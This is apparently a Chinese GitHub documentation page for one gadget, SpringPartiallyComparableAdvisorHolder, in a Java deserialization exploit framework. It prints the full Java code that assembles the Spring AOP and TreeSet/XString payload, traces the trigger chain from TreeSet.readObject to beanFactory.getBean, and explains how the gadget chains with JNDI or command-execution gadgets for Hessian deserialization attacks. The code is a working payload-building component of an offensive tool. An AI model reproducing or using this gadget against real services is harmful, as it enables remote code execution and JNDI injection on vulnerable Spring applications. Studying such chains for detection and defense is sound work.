Skip to content

Latest commit

 

History

History
63 lines (53 loc) · 5.61 KB

File metadata and controls

63 lines (53 loc) · 5.61 KB

Spring JNDI链(SpringPartiallyComparableAdvisorHolder)

  • 类别:hessian 别名:— 优先级:20
  • 作者:mbechler
  • 依赖org.springframework:spring-contextorg.springframework:spring-aop

作用

经典的 Spring AOP「toString 触发 getBean」跳板(ysoserial Spring1 的移植)。把内层对象(一个能按 beanName 取出恶意 bean 的 BeanFactory)包裹进 PartiallyComparableAdvisorHolder,再放入一个含 XStringTreeSet,使反序列化比较时触发 toString(),最终在 AOP 通知里调用 beanFactory.getBean(beanName) 拉起下游的 MethodInvokingFactoryBean / JNDI bean,实现命令执行或 JNDI 注入。是本框架 Spring 系 Hessian 链的头部(front)gadget

链接标签

  • 入口 tagsHessianDeserialize —— 承接 Hessian(含 XString 触发 equals/compareTo)反序列化入口。
  • 衔接 nextTagsSpringJndi1 —— 之后优先衔接 SpringJndi1(提供 SimpleJndiBeanFactory 的 JNDI bean);实际因内层只需是一个 BeanFactory,也可对接其它产出 bean 工厂并注入 BEAN_NAME_KEY 的 END gadget。
  • excludes:无。

源码剖析

public Object getObject(Object obj, String beanName) throws Exception {
    AspectInstanceFactory aif = (AspectInstanceFactory)Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
    Reflections.setFieldValue(aif, "beanFactory", obj);         // 内层对象 = BeanFactory
    Reflections.setFieldValue(aif, "name", beanName);           // 要 getBean 的名字(由下游注入)
    AbstractAspectJAdvice advice = (AbstractAspectJAdvice)Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
    Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
    Reflections.setFieldValue(advice, "declaringClass", Object.class);
    Reflections.setFieldValue(advice, "methodName", "toString");
    Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
    AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
    Reflections.setFieldValue(advisor, "advice", advice);
    Class<?> pcahClazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
    Object pcah = Reflections.createWithoutConstructor(pcahClazz);
    Reflections.setFieldValue(pcah, "advisor", advisor);
    return PayloadHelper.makeTreeSetWithXString(pcah);          // 用 XString 包成 TreeSet 触发 toString
}
  • 全程使用 Reflections.createWithoutConstructor 绕过各 Spring 内部类的构造器(它们无公开无参构造),再逐字段反射填充。
  • advice.methodName = "toString"declaringClass = Object.class:这是让 PartiallyComparableAdvisorHolder.toString() 在渲染其内部 advisor 描述时,走到 AbstractAspectJAdvice.getAspectInstanceFactory(),进而 BeanFactoryAspectInstanceFactory.getAspectInstance()beanFactory.getBean(name)
  • PayloadHelper.makeTreeSetWithXString(pcah):把 pcah 与一个 com.sun.org.apache.xml.internal.utils.XString 一起塞进 TreeSet。Hessian/原生反序列化重建 TreeSet 时会调用 compareToXString.equals(Object) 会对另一元素调用 toString(),从而点燃 pcah.toString()
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                    // 内层:下游产出的 BeanFactory
    String beanName = context.getString(ContextTag.BEAN_NAME_KEY);// 下游写入的目标 bean 名
    return this.getObject(object, beanName);
}

关键的「协议约定」在此:下游 gadget(如 SpringLinuxExecSpringJndi1)在自己的 invokecontext.put(ContextTag.BEAN_NAME_KEY, ...) 并返回一个 StaticListableBeanFactory/SimpleJndiBeanFactory;本 gadget 取出二者拼成 AOP 触发结构。

触发链(简)

TreeSet.readObjectXString.equalsPartiallyComparableAdvisorHolder.toStringAspectJPointcutAdvisor/AbstractAspectJAdviceBeanFactoryAspectInstanceFactory.getAspectInstancebeanFactory.getBean(beanName) → 下游 bean 的 getObject()MethodInvokingFactoryBean 反射调用 / JNDI 查找)。

参数(@Param)

本类无 @ParambeanName 与内层 BeanFactory 均由下游 gadget 通过 GadgetContext 注入。

适用版本与原理要点

  • 依赖 spring-context + spring-aopPartiallyComparableAdvisorHolderAspectJAwareAdvisorAutoProxyCreator 的内部类,Spring 各常见版本均存在。
  • SpringAbstractBeanFactoryPointcutAdvisor 同为 Spring 头部 gadget,二者可互换:本类走 AspectJ Advisor 路径,后者走 AbstractBeanFactoryPointcutAdvisor 路径,触发点都是 toString → getBean
  • 需目标能加载 XString(JDK 内置 com.sun.org.apache.xml.internal.utils.XString,JDK < 17 通常可达)。

所属预设链

  • Spring JNDI链1[SpringPartiallyComparableAdvisorHolder, SpringJndi1]

关联